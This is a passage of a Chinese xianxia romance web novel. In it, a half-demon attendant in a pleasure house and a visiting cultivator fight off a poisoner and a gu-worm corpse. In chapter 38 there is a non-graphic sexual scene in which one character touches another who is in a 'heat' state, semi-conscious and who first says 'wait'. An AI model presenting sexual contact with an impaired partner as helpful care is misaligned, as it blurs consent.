宋策和楼里的人一样但又不一样,长得一张美人脸,客人们也知道玉霜楼里有个标志的男侍从,都想一睹芳容,鸨婆也喜得教他些谋事的本事,可宋策偏偏不愿学,整天想着修道,往楼外跑。
小饼子皱着眉站在门外,他想不通,他那张圆脸都皱成一张卷饼了都想不明白,能不用干活就陪个笑谈谈琴唱唱小曲就能有饭吃,还有什么不好的呢?
他站在门外想着想着都有些困了,听着屋子内潺潺水声,突然想起来鸨婆交代的事。
“公子”,他听见水声停了一瞬,“鸨婆说三日后武公子的宴请公子须跟着去。”
屋子的灯火蓦然熄灭,窗口昏暗模糊,小饼子心下一紧,以为出了什么事情,连忙问,“公子,怎么了?”
一片寂静,屋子里水声也在灯火熄灭后没了声,情急之下他推门发现门是锁住的,“公子?公子?”
“无事。”
少许时刻,听着宋策声音从屋子内传出小饼子没动,他思绪稍动想着兴许是蜡烛烧尽了,他轻声问,“那——”
“知道了,下去吧。”
小饼子把话传到,也消了一口气。
他才和这宋策碰过几次面,今日见鸨婆和月娘子的态度,算是明白在玉霜楼里这宋公子确实是特殊的。
料峭春风拂过,走廊外飘进来丝丝微雨,小饼子被冻得一哆嗦,他搓了搓胳膊,风里带着些潮湿的腥臭味,料想是春日里雨水淋的泥腥味。
37. 第三十六章
“别动。”
冰冷的刀刃贴在宋策的脖颈上,握刀之人看着宋策捏着木桶边缘的手尖泛白,在他耳边轻笑,“别紧张,暂时不杀你。”
屋子里蓦然掀起一阵凉风,宋策凭着感觉看去,昏暗一片。
宋策只能听见自己的呼吸声,但这里不止两人。
下一刻宋策感觉刀尖轻微抵着自己的脖颈,一股热液顺着他的皮肤混着水渍往下流。
“追了我一路,就这么喜欢当救世主?”
暗处寂静一瞬,微风吹进窗,木桶中的水早已凉透,宋策尽量放轻呼吸。
“别动!”
宋策手边动作微顿住,好似梦里的声音,只是说话人声线暗哑似乎是在刻意压制呼之欲出的情绪。
暗处声音从屏风之后传来,他似是斟酌一番,“我放你走,你放了他……”
宋策背后说话人的嘲讽语气显露于表,那股若有若无的腥味顺着他说话的吐息愈发浓重,血腥味气味混着腐败腥臭味,初闻像是雨季埋着死物的泥腥味。
“嘭!”靠近宋策手边放着衣衫的木架被身后人一脚踢翻。
一阵响动之后,那刀柄往深处挺进了一毫,身后人说话的腐臭气息缭绕在宋策鼻息之间,他停住动作。
“再乱动我就切断你的喉管。”
宋策眼睫轻颤,垂着眸子,视线落进身下水底。
“杀了他你也逃不掉。”一道人影从屏风后显出。
“是吗?”压迫感急切靠近,“那我们来试试——”
“嘭!”
水花四溅,木桶炸裂,霎时一道利器刺破空朝宋策袭来。
宋策转身挥出一道符箓,趁着背后人没反应过来急转扯下落在地上的布帛闪身躲开。
他显然没有料想到宋策会击碎木桶,水花溅起的瞬间,他以为是屏风后的人出手,连忙抬手抵挡毫不设防之下被宋策贴了一道符,等反应过来闪身躲避,那道细针狠狠刺穿左肩,麻痹感从受伤处蔓延。
宋策躲避间隔听闻中招之人一声闷哼,他不清楚发生了什么,但他知道不是自己刚才那道符箓的作用。
一道劲风从身后传来,临到宋策耳边他察觉到那股气势缓和下来,一阵轻柔和暖的风将他往后轻拖,宋策背贴一个人的胸口,温热的气息混着窗外细雨的湿意洒在宋策的肩颈。
背后人略作手势,屋子里燃起光亮,宋策这下看清威胁自己的人面貌,他身着黑袍罩衫,显露出普通不起眼的面貌,但那双三白眼吊梢眼却让宋策觉得熟悉,他狼狈地按着肩膀,眼神凶狠死死盯着宋策两人似是恼火自己被人暗算,但稍会他勾唇笑起来捏着尖刀的手抬起——
“杀了你!”
宋策被人往后一拉,身着白衣锦袍之人挡在自己的身前,宋策目光一暗后退几步躲在两人交手之外,眼见着黑袍人不敌那人对手。
宋策将身上衣衫整理好,再看去黑袍人袖口一甩,几个小东西从他掌心挥出。
仅仅在那一刹那,宋策还未看清是什么,他下意识喊道,“躲开!”
白衣人闻言躲开,但那些东西张了翅膀飞舞着朝他袭来,但还未等宋策反应过来,只见两只灰色蛾子闪动着翅膀出现,它们朝着那些小虫子驱赶。
看着身边飞起的小蛾子,白衣人也愣住了,动作稍停,驱动灵气的动作也受到这两只小虫子限制,似乎是怕伤到这两只小蛾子,黑袍人见此场景嗤笑一声,借机翻窗逃脱。
宋策从木柜处现身,他看着眼前人还想追出去的身形,“别乱动!”
“这种虫子有毒”,宋策收敛气息。
他不记得自己见过这种虫子,但是凭着自己的直觉判断,宋策走至他的身后轻轻将他往后一拉远离哪些小虫子,好在两只小蛾子还能有些用处,它们像是饿了很久闻到腥味似的大快朵颐地吃着虫。
动作之间喻归泽不慎贴着宋策的臂膀,他僵硬着身体,两人离得很近,刚才情急之下并未注意两人的距离,这时他甚至能感受到宋策胸膛上未干的湿气,透过衣衫传递给他。
宋策动作止住,感受到身边人僵硬了一瞬,下意识松开他的衣带,心中疑惑自己怎么对这人不设防,好似万分熟悉这人的温度和气息。
仔细嗅着,空气中弥散还未散去的腥臭味,但一靠近这人就能闻到淡淡的清香味,像雨后泛着潮湿的草香味。
宋策眸色微闪,抬手指尖抵着他的僵直的手臂,“愣着做什么?”
“好——”说着喻归泽轻念口诀,星光般闪烁的灵气编织丝绸飘动起来,轻轻避开两只灰色蛾子笼罩住其余的虫子。
吃饱了的两只蛾子好似认识宋策一般,轻轻绕在他的肩膀处,宋策这才想起脖颈的伤处,刺疼感爬上皮肉,他不在意地抹了一下,血腥味刺鼻。
“我看看。”喻归泽安置好那些飞舞的小虫子忙拉开宋策的手,查看他的伤势。
还好伤口不深,喻归泽手安抚在宋策的脖颈,感受到掌下鼓动的动脉和温热,他手指止不住动了一下,贴着宋策的皮肤,两人距离愈发贴近。
命脉被人拿捏在手里的感觉不算好,虽然他没感觉到威胁,但宋策还是推开了眼前这个奇怪的人。
喻归泽为宋策疗伤的动作被打断,好在那伤口只是被普通刀刃所致,灵力短暂治疗就已经愈合,只剩下细小的红痕,他看着宋策的脸嘴唇微动想说些什么——
“公子?公子?”
外头脚步声错乱,来了人,许是方才水桶被宋策打烂的声响又或是水渗透到楼下惊到了谁,杂役带着人从楼下蹭蹭上楼。
门被锁着,外头人推不开。
“公子发生何事了?”
在暗淡的光亮中,宋策不动声色的看了眼房里的人,两息之后看向外头回声:“无事,不小心打翻了水,天色不早了,不必打搅坊主了,明日再收拾吧。”
外头人影头部交叠似是讲了几句什么。
“你在里头做什么?”
“楼下天花板上都是你的洗澡水,快点开门!”
鸨婆推开人影将木门拍的震天响,将雨夜的空寂击碎。
宋策愣了一瞬下一刻他拉着喻归泽往里屋带,他一把掀开床帘又放下,动作迅速,两人一起躲进床上,他拉着锦被盖在喻归泽身上,像是有所预料一般——
“砰!”木门被撞开拍打的声音让脚下的地都震了震。
“宋策,你在搞什么?”女人带人冲进来,屋子里就那么大,一下子显得拥挤局促起来。
喻归泽蜷缩窝在宋策的被窝里,他的鼻尖贴着宋策的腰部,喘息声清晰可闻,闷热感不久化作燥热感,他听见外头闷闷的说话声,指尖稍劲,事态变化仅在一瞬间,不知怎么回事,两人变成这般模样。
“小崽子搞什么名堂,在外头疯了一天还不休息,在里头偷人呐!”
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女人毫不顾及地冲进里屋,喻归泽听见脚步声愈发接近心绪也愈缭乱,他屏住呼吸,热意攀附上脖颈衣衫紧贴腹背湿了一片。
宋策按住喻归泽的后背,喻归泽压着腿紧贴床板,听声身体绷紧,宋策附在他腰部的手指轻点,但手下人的肌肉似乎更加紧绷。
能感觉到身上人将他往怀里带了些,喻归泽的脸靠在他腹部,但宋策的手却顺着他的背脊缓缓划过他的脖颈抚弄他的脸颊,微凉的指尖点着他的下颌骨,激起他背脊一阵酥麻,不得已他不动声色地按住宋策作弄的手。
“惊扰了外边的客人,有你好受的!”
她进来看了几处,见屏风处的木屑水渍和满地的黄符,略带恼火的咂嘴,她走近床沿掀开宋策的床帘,“洗澡都要捣鼓你哪些东西。”
她四下看了几眼见宋策坐在床上,衣衫单薄,肩膀上的水未干贴着衣服露出些许颜色,嘴唇翕动叹了口气最后摆摆手示意旁人出去。
“今日——”女人表情有些紧绷似乎对自己接下来要说的话不好意思开口,语气显得硬邦邦的,听起来分外怪异,语调忽上忽下半天未说出完整一句。
宋策眼皮轻挑,领会到这个矛盾的女人要问什么,他弹弹被角,嘴角露出一抹轻松的笑容,“没伤到实处,不必担心。”
婆鸨听了宋策的话舌头像是被什么咬到似的,欲将发作最后看了看宋策复又扯平的嘴角,还是忍了忍,“仔细着点,刮坏了脸,坏了我生意!”
闻言宋策轻挑眉宇,不置可否。
不知窗外雨落几何,但雨声渐浓,风刮动着窗户轻拍着窗沿,让雨夜显得更加寂静。
喻归泽却越来越听不清人讲了些什么,不适的燥热不是来自被褥,而是自己的身体,腰腹的热意往下蔓延,他止不住地浑身轻颤抖起来。
喻归泽不敢喘气但神智却迷蒙起来,耳鸣声渐起,意识渐失的时刻才想起自己身体又出了麻烦,好些日子未发作竟忘了还有这回事,只期望外头人赶快走,他忍不住轻咬嘴边布棉。
察觉到身下人的体温不对劲,小腹处出现不知名的湿热,宋策抚弄身下人动作稍顿。
婆鸨盯着宋策,目光锁住似的定在宋策脸上,最后看着宋策的眼瞳,目光灼灼,宋策回视他的“打量”。
不多时,鸨婆拧着眉毛,叮嘱了几句,转脚欲走。
听见旁人将走,喻归泽松了口气,庆幸这次发作并未露出尾巴,否则这小小的床可装不下他的尾巴。
窗户猛地被一阵风吹动,铮铮响声好似就响彻在喻归泽耳边,还未等他反应,凉意涌进,喻归泽终于能喘口气,意识消失那一刻他不知道发生了什么,早已听不清。
下一刻更大的声音在屋子里响起。
“好啊,小杂种学会偷人了!”
“我就说你今日怎么衣衫不整!”,鸨婆像是发现了什么把柄,大喊大叫起来,好在这里是后院,距离前院较远,客人们听不见但门外候着的杂役早已听清发生了什么事惹的坊主发火。
宋策目色凝重,他止住鸨婆的动作,将怀中人往身边拉近些,将他身子盖了大半,留了些余地给他喘息。
“你还护着!”鸨婆许是顾及宋策的眼神不再上前,但她表情却凶狠不已。
“你看看你脖子上是什么?”
宋策并未注意自己脖子,他低头看了眼小腹处衣衫上留下的一抹莫名的水渍,眼神幽深不明。
38. 第三十七章
“我看不出他这是怎么回事”,苍月看了眼床上躺着的人,那张完全不输于宋策的脸上朝霞一片,苍月看了眼淡定如常的宋策,“或许是我并不精通医术,得找个通晓医术的人来看。”
“不必了,他并未受伤。”宋策起身为喻归泽盖好被角。
“坊主可不打算放过他,你打算如何处置他?”苍月都看得出躺着的人身份不凡,他一身云锦纹路制服,身上的法衣绘制着高阶防护符文,腰饰皆是护身法器,不是他们这种市井凡人能招惹的,苍月有心劝解坊主,但坊主就是看准了这人身份。
“修道之人可不讲究儿女情长那一套,坊主那套言辞根本束缚不住他。”
“即使他肯补偿你”,苍月看着宋策那双没有什么情绪的眼,好心提醒一句,“修道一事不可贪图一时之快,顺其自然就好。”
“况且他算是救了你,我们也不便如此为难他。”
宋策垂眸把玩着床上人的手指,两人的手骨节分明,指根修长,交叠摩擦的样子看上去分外赏心悦目。
他始终不回答苍月的提醒,看到这一步苍月眼神笃定。
“你是故意的。”她话语分外确信,面色却突然凝重起来。
“现在外头乱的很,皓月城中暗波汹涌,你这时候招惹他不是明智之举。”
皓月城中频繁闹出的尸鬼霍乱,虽有正派修道者暗中调查斩邪除祟,极渊深处频起灵煞,城中实在算不上安宁。
“明智与否总要试试才知道。”
苍月心头一动,她知道宋策志不在市井,四方小天地困不住他,但凭借半妖之身逆天改命简直痴人说梦。
“他不会帮你的,你不要拿自己的命开玩笑。”苍月一脸凝重,她不清楚宋策到底要做什么,但是现在的皓月城,性命根本由不得他开玩笑,寻常修士猎杀一只妖兽不过数招之间,宋策这种修为的小妖根本威胁不了任何人。
宋策看着苍月抿着唇紧绷的神情,恍惚挑眉勾唇轻笑,“你紧张什么?我又不是疯子,怎么可能随便招惹仙门修士,玩笑话当不得真。”
宋策捻捻指尖,扫开撒落在肩颈的碎发,随意道,“好了,昨夜坊主说今日去见伍公子”,无视苍月不赞同的目光,出门前还不忘嘱咐小侍,“等他醒了去留随意,不必报我。”
苍月看着宋策转角消失的背影,眸色不明。
“这件——等等,还是这件比较好!”
老鸨眯着一双眼,仔细在宋策身上比划着,宋策坐在一边垂眸喝茶,不时抬头看一眼忙活半天的女人,等她从数件花红柳绿的服侍里挑选一件合她心意的衣裙。
日上三竿,阳光从门槛左边迁移至右边,宋策放下茶杯,支起脑袋,他随手一指,“就这件吧,看着端庄。”
鸨婆质疑的情绪从眼里泄出,她眼角的褶皱聚拢,满张脸都是不同意的神色,“说什么鬼话,这黑不溜秋的颜色如何能勾住人?”
闻言宋策不适的闭眸,他指节轻敲桌角,解释:“这伍公子在这城里也算是个有身份的人,与这种人相处才越是要端庄严谨,穿得肃穆有礼方能显得矜持贤雅。”
鸨婆拧着眉,不赞同地回道:“你懂什么?”
她一边说着一边走近拽着宋策的素色衣袖,嫌弃地驳斥,“你看看你,天天穿得都是些什么?尽挑些丑衣服,白瞎了你一张好脸!”
“你说说我养你有什么用,坊里的姑娘们小子们哪个不比你会招人疼。”
说道激动处她恨铁不成钢地拍着大腿,把那件宋策看上的衣服丢在地上,“你要是敢穿这件衣服,我现在就把躺在床上那小子扔出去!”
听到这,宋策眉毛轻挑,眼眸中闪过几分笑意,他不在乎道,“我和他昨夜第一次见面,你拿他威胁我可没用。”
“别以为我不知道你!”鸨婆叉着腰喊道,她那双眼睛恨不得要飞起来,“你个崽子整天在外瞎晃,鬼知道你在外头招惹了多少狂蜂浪蝶。”
房里的其他姑娘和小侍从早就习惯两人的争执,宋策仍旧是那副悠然自在满不在乎的样子,好似所有事情都与他无关,但是鸨婆心里可是急的不行。
“你从苍月娘子手里学的点小伎俩如何保得住自己”,她走到宋策身前,拍着桌子试图惊醒不着调的宋策,“我真怕哪天你在外头瞎搞,脑袋给人提了我都收不了你的尸体。”
“我知道你不甘心蜗居城中小巷一隅,但你也要考虑考虑你自己是个什么情况吧!”
“我是什么情况我自个清楚不劳烦坊主操心。”说着宋策耐心全无,他作势起身要走,但是这次坊主是铁了心要把事情掰扯清楚,她使劲拉着宋策的衣袖又把他按回座椅上。
“小崽子,又不听话了,我给你找个好人家怎么就这么难呢!”
“这伍公子与城主门下有些关系,我知道你想修炼,这不正是合适的人选?他有权有势,你跟着他往后不愁没出路”,她接连叹了口气,“好在他还看得上你,这大好人选你怎么就不好好把握把握?”
鸨婆看着宋策那平静无波的眼,心里着急,嘴上劝慰,“你在外头带回来的那个仙长看那身服饰,就不是个能相与的,我们攀不起人家。”
宋策无奈,他完全不理解这个女人脑子里想的都是些什么话本子大戏,他推开坊主按住自己的手,沉声打断坊主完全毫无依据的话,“少去水巷茶馆听戏。”
鸨婆完全没有听懂宋策的弦外之音,她追着宋策说,“我找人给那位仙长说你的事,人家根本就没反应,你一棵树上吊死不是个事儿!”
“坊主,在下并非不愿。”
两人闻声看向门外,喻归泽在外躬身行礼才走进,他的脸上毫无血色,唇色苍白,宋策眼神轻动没做表示。
喻归泽走进后才未尽之语说完。
“在下授命前来皓月城拜见家师旧友,前不久在外城遭袭,昨夜追凶不甚潜入宋公子的房下。”他停了一瞬,将视线移向宋策,与宋策那浅棕的瞳孔对视的那一刻,宋策似乎留意到眼前人的表情露出些许依恋。
“在下不懂坊间规矩,辱没了宋公子,听闻苍月娘子说宋公子愿意学道”,他垂眸恭敬地又向坊主行了一礼,“若是不嫌弃,在下愿意带宋公子回我天衍宗修习。”
宋策盯着喻归泽的身形一瞬不曾移开视线,他能察觉到眼前这个人的不同寻常和不明意图。
喻归泽见此朝宋策看去,他试着勾起干涩的唇瓣露出一个温和的笑容,但是唇齿之间的枯涩让他的表情止住,他情不自禁伸出粉色舌尖轻舔唇角。
绯色的舌尖带出些许津液微微沾湿唇角,宋策盯
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着他的唇,手中动作不停,递过去一个杯子,他自己用过的茶杯。
喻归泽并未在意,他只是愣神一瞬自然地接过茶杯道谢。
坊主看了两人几眼,不满道,“你两干什么呢,在那眉来眼去当我是空气吗?”
“……”
鸨婆听了喻归泽的话,心下神气起来,她端坐在座椅上,正看着喻归泽的那双眼眉飞色舞地眨动着,好似在想着什么主意。
“修道或是跟你走,那是他的事情,我得给你说说我的规矩,这人也不是给你白养的,道长你说是不是?”她拍拍手,从外边走来几个侍从送来账本和纸笔。
她坐在主座对着众人就开始写写画画,作势算账钱。
“修仙之人,凡事也得讲讲凡间道理。”
喻归泽点头为意。
“宋策可是我们坊里的头牌,外头好些人抢着要见上一面,如今事情被道长搞成这个样子,道长没点表示可是说不过去的。”
屋子里落针闻安静的诡异,听见坊主说的话,谁心中不说一句胡搅蛮缠。
坊里谁不知道宋策整天无影,别说什么辱没宋策了,宋策自己在外头都不知道抛头露面多少回了,夜不归宿,风餐露宿根本不在话下,坊主这简直就在胡扯。
看了眼坊主零零总总算出来的账钱,喻归泽作势从储物戒中取出契书递交,“这是我宗与人间钱庄的契书,坊主可凭此物去钱庄取钱。”
鸨婆见了喻归泽手中拿着的东西,两眼放光,脸上晕染的腮红颤动着,可见这女人心中激动之情,宋策看着不慌不忙做事滴水不漏的喻归泽,心中好奇感越发浓厚。
鸨婆亲自走近喻归泽双手颤抖着接过契书,嘴角就没有拉平过,她眉飞色舞地喜笑,“没问题,没问题,平账平账。”
喻归泽沉吟几息,想了想对鸨婆说:“不过劳烦坊主再照料宋公子几日,在下在城中办些事情,等事闭再请宋公子与我同回。”
“没问题没问题,想住几日都行。”她拿着契书放在脸上嗅着,一脸陶醉,还不忘给宋策递了个眼神。
小饼子也在众位侍从当中,他头脑恍惚,这仙门中人也是这般随意吗,坊主这鬼见鬼愁的鬼话这道长也信?还给了这么些钱,完全没听过这种大冤种。
小饼子无言地偷看始终未说话的宋策,宋策斜倚在座椅上,不说他那见之叫人难忘的脸,就他那恣意风流的状态看的人就让人心生感叹,这位仙长能看上兴许也并不奇怪。
毕竟昨夜他也是在众多人群中留意了一眼,宋策与那仙长关系很不一般。
他们这个坊里姑娘小侍大多卖艺不卖身,那种不干净的勾当,坊主也不乐意姑娘们做,这宋公子倒是好大的胆子,也难怪坊主着急忙慌地把这人送出去,不知道哪天这宋策要把这坊子给搅的天翻地覆。
心下想着,小饼子拉了拉手边同伴,像示意人看坊主那见钱眼开的样子。
手中触碰的感觉僵硬冰冷,粗重的喘息声就在小饼子耳边,湿热的腥臭气息猝不及防地喷洒在他的脖颈处,一股不祥的预感从胸膛往上涌,恐惧感一瞬占据脑子,下一刻他本能地往前一扑。
“啊——救命!”
“是尸鬼!有人尸变了!”
“道长!”
“救命!”
39. 第三十八章
宋策在喻归泽动手之前率先飞出一道定身符,他动作迅速,掐诀念咒只在瞬息之间,流光的符箓顺着一股看不见的灵力沿着既定的轨迹循环往复贴着“人”背脊、胸腹流动。
宋策止住喻归泽抬手的动作,顺势从他臂膀下滑落在他的腕间,指腹用力喻归泽被他稳稳护在身后。
喻归泽看着眼前人的背影,像记忆里那样,即使他不记得自己了,这个人依然站在自己身边。
喻归泽暗中运转灵力,丹田气韵滞涩,昨夜的状况已不知发生多少次,每次发作周身的灵力都会发生逆转,他只能暂时封住筋脉,等筋脉疏解后才能使用灵力。
若是按照常理来说,喻归泽大可以一剑斩杀尸鬼,或是用灵火烧毁尸鬼的躯体,但是尸鬼体内涌动的虫子仍有威胁,况且众人不懂其中修蛊秘术,贸然动手不是上策。
“苍月!”宋策在空中画出几道符暂时压住发狂的尸鬼,剩下的交给苍月。
闻言而来的苍月与宋策配合默契,她顺着宋策的手笔一寸寸隔空点出一缕缕灵力,击打在尸鬼的身上,尸鬼像是被点了穴位,动作逐渐迟缓下来,紧接着宋策放出最后一道符点在尸鬼的口鼻之处,封住他最后一窍。
“只能暂时压住这些蛊虫,虫子会从他七窍出来。”
苍月有些不放心的在七窍处各加了几处封禁。
围观的众人皆知满身符箓的“人”早已不在是个人,“他”狰狞着一张青灰色的脸,紫黑色的舌头搅动,口涎顺着深色嘴唇往下倾淌,腥臭的气味让在场人都面露难色。
“别靠近”,宋策止住要上前查看的喻归泽,“这人皮肉之下皆是蛊虫,粘液里都是虫卵。”
宋策沉下眸子,语气凝重,“没得救了。”
苍月施法封住尸鬼身上其他可能出现的伤口,确保不会有蛊虫泄出。
喻归泽抿紧唇瓣,眼里闪过一丝不忍,符阵中人已无生息,这具躯体只是一个盛满蛊虫的皿器。
他眼睫轻动,视线锁住沉着冷静的宋策。
宋策动作流畅却不粗俗,施法姿态优雅俊逸,即便在寻常相处中宋哥也处处透着矜贵从容,教习他人时又常常显露出的书卷气让人以为他是个养尊处优的公子,他曾以为宋策是哪个妖族世家游历在外的公子。
但就在刚才紧急情况之下两人双手交接的瞬间,喻归泽察觉到他手上有未完全消去的薄茧。
他记得宋哥从不用武器。
进入幻境,他与苍月的面貌都未发生太多变化,唯独宋哥是他未见过的样子。
喻归泽沉默压下思绪。
“这件事不能泄露出去。”
鸨婆语气凝重,她明白事情的严重性,她立即安抚住众人,吩咐所有人封锁门窗。
虽然皓月城中明面上和谐安宁,但知情人知道城中曾一度出现这种非人的怪物,宿主被蛊虫寄生,中蛊之人不知自己身中蛊毒,唯有下蛊者操纵蛊虫,中蛊者才会失去意识供人驱使,下蛊者能操动蛊虫亦能决定中蛊之人的生死。
“都冷静,今日之事谁都不许传出去。”坊主坐在主位之上,她施着粉黛的脸颊已经被蹭花,手里还紧紧捏着为宋策挑选的衣裙,许是方才情况紧急,衣料被她捏的发皱。
暗巷里总有失踪的人,市井腌臜地的人尸变她不是没见过,但这还是第一次出现在自己的地盘,若是出了意外,整个坊都要被查封,他们一个都活不了。
眼看着被制止住的尸鬼,鸨婆手中动作稍松,她拍了拍圆桌发出“嘭嘭”声。
“把他弄到后院柴房,小饼子带人看护起来。”
被点名的小饼子惊魂未定还未从刚才的惊吓中缓过来,它瘫坐在地上,剧烈喘着粗气脸色白如死尸,坊主见他如此颓废,抽了抽眉没说什么,随即吩咐其他人将小饼子带下去休息,其余人如从噩梦中惊醒,仓惶行动却没人出声,静默着按照指示将不能动弹的尸鬼抬了下去。
“宋策,带道长下去休息”,坊主缓和了神色轻喘了口气,“月娘子劳烦你跟我来。”
春日的雨水多的让人心烦,窗外的海棠花早已不成模样,杂乱的脚步声来来回回踢踏在院落里,溅起的水渍声良久才平息。
天外云卷云舒,夜色将至,半掩的窗投进苍白暗淡的光晕,屋子里点着一盏灯。
“宋公子,我——”
“和苍月一样叫我宋策便可。”
喻归泽斟酌几分,突然察觉胸间异动,微凉的触感从脖颈传递进锁骨,喻归泽看着陡然靠近的宋策,他喉咙发紧,忍不住往后退。
宋策偏不让他如愿,他拉着喻归泽手腕,另一只手指尖贴着他的颈下勾出一条红绳。
喻归泽下意识握住,他抬眼看着宋策,两人指尖交错,他见宋策没有放手的意思,垂眸轻轻放开手上桎梏。
宋策勾着红绳看清掌下是什么,一枚玉佩,用料是皓月城久负盛名的孤山玉,他轻抚着圆形玉佩中心镂空雕成的蛇形图案,心中涌起些许熟悉的感觉。
他几乎不经思索脱口而出:“为何佩戴这种玉佩?”
宋策问完话眉心轻皱,觉得有些荒唐,他放下玉佩转身没去察觉对面人眼神露出的一瞬无措。
“宋……何意?”喻归泽上前追问。
“只是奇怪。”
宋策不愿在这种话题上多说什么,随意应付他,反而后者情绪波动起伏。
喻归泽目光轻闪,他望着宋策的背影唇边泛起一抹怀念的笑意,“这是他初见我时赠送予我的。”
宋策闻言动作微滞,眉心微皱,只是瞬间便恢复寻常,回复的语气里还带着些不易察觉的试探。
“我和他很像吗?”宋策走至床边,动作随意撩袍倚坐,恣意风流,“与人同行时,你的眼神都在我身上。”
宋策的眼近乎直白的看向喻归泽,视线轻缓地扫过他的脖子上鼓动的青筋,落在他的肩膀上随即滑至喻归泽的胸膛,再往下几寸便能用视线刻画他被法衣紧紧束缚住的腰腹,但宋策没有,他轻眨眼睫垂眸潋起一抹柔和的笑,接着收敛起动作起身靠近喻归泽。
“道长,孤身一人远游,不若歇息几日再做打算。”
木板上有节奏的脚步声和窗外淅沥的雨声交叠呼应,犹如喻归泽鼓噪的心跳声,他不由地握紧手中剑柄。
“我……”喻归泽鉴于自己的身体,他不敢贸然回应,分明清凉的初春,但他觉得空气中总弥散着黏腻的气息,时常感到心胸压抑,心脏剧烈颤动,他止住话语沉心舒缓气息。
宋策自顾自靠近,“道长,你的身体需要休息。”
“宋策……我……”喻归泽看着宋策那张陌生的脸,只有那双眼透露出熟悉的疏离和冷漠。
喻归泽指尖发紧,掌下早已被他按的发红,他垂着眼徒然转身,“公子不必如此,在下既然答应坊主便不会食言。”
“是吗?”
察觉到腰间的触感,喻归泽身体微不可察地一震。
宋策嘴角轻勾,眼里闪过几分兴味,他顺着手中人的腰际攀上他的肩膀缓缓往下。
“铮!”
“手中还拿着剑做什么?”
喻归泽还未来得及看跌落在地上的佩剑,手中剩余的空隙被另一个人的手侵占,那只手的主人另一边不忘扣住他的腰,整个人相近不留一丝距离。
宋哥温暖的气息就在喻归泽耳侧,若是往常无事他不会靠的这么近,喻归泽不知道该如何反应,现在的宋哥完全不记得自己,他按下腰侧滑动的手,微侧脸。
两人鼻息相近,显然宋策也没意识到喻归泽会突然转脸,但也只是瞬间,他按
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紧怀中的人的动作,倾身靠近,感受着怀中人愈发紧绷的身体,宋策将视线从那发白的唇瓣移到他皮肉轻动的脖颈处。
“你知道你的身体怎么了吗?”
喻归泽捏着宋策的衣角,肩颈僵硬不得动弹,他听不正切宋策说了什么,只觉得气血上涌,燥热感接踵而至,只是下意识回复宋策,“什么?”
“你在发情”,宋策抚摸着喻归泽紧绷颤抖的腰腹,缓和语气道,“像兽类那种,你应该知道。”
“发情?”
喻归泽止不住地侧脸靠近宋策,两人的脸侧相贴,宋策也没有阻止喻归泽的动作。
“不清楚也无碍,很多妖族都有,我来帮你。”
“等等!”
喻归泽脚下一空,他出神地抓住宋策的肩膀,视线一晃,身体已经躺倒在床榻上,抬头上方是素纱包裹住的模糊光晕。
“想要吗?”宋策俯身贴着喻归泽起伏不定的胸膛,抬头看着他因忍耐身上的热潮而蹙起的眉眼。
喻归泽不知该做出何种姿态面对宋策,他是他的宋哥,却不是他熟知的样子,模样不同,但眼神还是那个眼神,浅淡的冷漠里藏着针一样的温柔,心里有声音让他不该深陷其中,但棉针总能穿透心室,汹涌的热潮让他已无心思多想。
喘出的气息似乎要将他灼伤,他忍不住抓着胸前束缚他呼吸的胸襟,越发不知道该怎么办,寻常只会压制调节的一切办法都好似被他忘到脑后。
喻归泽看着顺从靠在自己身上的人,宋哥红润的双唇贴着自己的胸口轻动,隔着几层衣服却能感受到他炽热的气息,喻归泽忍不住将胳膊搭在他的肩膀上。
喻归泽告诫自己,他心中默念清心咒,调动灵力压制不适感,但唇贴着一瞬凉意,他睁开,宋策那双棕灰色深邃的眼瞳直直的望着自己,一刹那喻归泽好像被人放如清凉的溪流里,唇上是宋策的指腹,他不知道该怎么办,只能僵直着身子看他动作。
“道长,放松”,宋策低头贴着喻归泽的鼻尖在他眼角亲吻一息像是抚慰,“我来教你。”
察觉到眼尾触之即分的触感,喻归泽眼睫轻颤,反抗推阻的动作也停下了,他依着宋策的动作,烛火在房中跳动着,他不得不注意那闪烁不停的火光,只觉得眼尾比腰腹更为灼热。
失去意识的那一刻,喻归泽脑子里都在想,他不是兽,他不应该沉醉于原始的欲念。
宋哥执笔的手也不应该如此。
宋策看了眼躺在床上的人,脸色红润,呼吸平缓下来但眼角还挂着泪痕,宋策起身简单清理手上,走近烛火,挑起灯芯,烛油晃动,灯光愈闪。
宋策回到床边沉着眸色看了眼那条颜色鲜丽的蛇尾,只要轻轻抚弄那条尾巴,它就会轻轻颤抖起来,蛇尾蜷缩着卷曲着攀附到他的手腕上,宋策只需附身亲吻,它的主人抖的比尾巴还要剧烈。
收回思绪,宋策看着手中失去光泽的暗色鳞片,捏着鳞片的手愈紧划出淡淡的痕迹。
“天灵族,传说中一丹平江海,挥袖镇山河,若是能得其半分青睐定能平步登天一朝青云!”
“凭什么这世间人、妖、魔要分三类九等,有人天生风光恣意,有人半生凄楚惨谈,你不想换一种活法?”
“你甘心一辈子烂在烟花教坊里,你不想逆天改命?”
枯涩粗粝的嗓音吐露出诱惑的话语犹在耳畔,雨季的水如珠帘般滴落,室内静悄悄的独留宋策的黑影颤动,昏黄的烛火跳动着映照出宋策淡漠的眼神。
他垂眸把玩着手中鳞片嗤笑一声,在寂静的夜色里显得分外突兀。
他手中的鳞片从人身上剥落后自然失去了光泽,枯燥硌手看上去和一块树皮没什么区别,宋策兴致缺缺随手丢进了储物戒中。
“我只做自己想做的事。”
40. 第三十九章
“快开始了,我们怎么做?”
九婴试探着问宋策,按照九婴原有的计划,自己一人到这云州城来处理这些琐事。
昔日同伴背着他做了这么多事情,迫害同族,残杀他族,暗地里整了出大戏,还好只是小范围扩散势力,若是被御灵海那群人察觉此事与他有关联,他这个九尾狐族长也得被别人连坐。
因为九婴的缘故,这场大祸宋策无端被卷入其中,旧日恩情如今化作利刃卷割着他的血肉,想到这九婴无意识沉下眸子。
若是知命另有苦衷,等解决诸多事宜后届时便带他回妖族暂避祸端,若是……他便不再念及旧情。
宋策抬眼看神情晦暗不明的九婴,有意提醒他,“别惊动了仙门众人,我们不好收场。”
“咚——”一声悠远倾长的钟声响彻整个会场,人声鼎沸的大厅有一瞬间的寂静,但是下一刻那混杂着笑声和粗重呼吸的燥意又接踵而至。
这时一直沉默不发的绿竹凝着眼光朝场内中心看去,高台之上,蓦然从地底立起数十根鲜红的柱子,中心之处地底向下塌陷,圆形台子下沉又拱起,从下面送来一个女人。
“诸位仙友,道友,今日的器宝交流会场正式开始,诸位可量力竞拍,价高者得,一经交成,不作反悔!”
